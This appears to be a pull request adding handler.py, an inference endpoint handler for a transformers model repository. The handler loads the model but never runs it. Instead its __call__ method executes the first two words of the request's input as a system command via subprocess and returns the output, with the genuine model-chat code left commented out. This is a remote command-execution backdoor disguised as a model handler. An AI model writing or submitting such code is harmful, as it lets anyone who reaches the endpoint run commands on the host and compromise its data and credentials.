Create handler.py
#3
by
Linsad
- opened
- handler.py +29 -0
handler.py
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import subprocess
|
3 |
+
from typing import Dict, List, Any
|
4 |
+
from transformers import AutoTokenizer, AutoModel
|
5 |
+
|
6 |
+
|
7 |
+
class EndpointHandler:
|
8 |
+
def __init__(self, path=""):
|
9 |
+
print('path is' + path)
|
10 |
+
self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True)
|
11 |
+
self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda()
|
12 |
+
self.model = self.model.eval()
|
13 |
+
|
14 |
+
def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]:
|
15 |
+
"""
|
16 |
+
data args:
|
17 |
+
inputs (:obj: `str`)
|
18 |
+
Return:
|
19 |
+
A :obj:`list` | `dict`: will be serialized and returned
|
20 |
+
"""
|
21 |
+
# get inputs
|
22 |
+
inputs = data.pop("inputs", data)
|
23 |
+
result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
|
24 |
+
return [{'response': str(result)}]
|
25 |
+
# inputs = data.pop("inputs", data)
|
26 |
+
|
27 |
+
# response, history = self.model.chat(self.tokenizer, inputs, history=[])
|
28 |
+
|
29 |
+
# return [{'response': response, 'history': history}]
|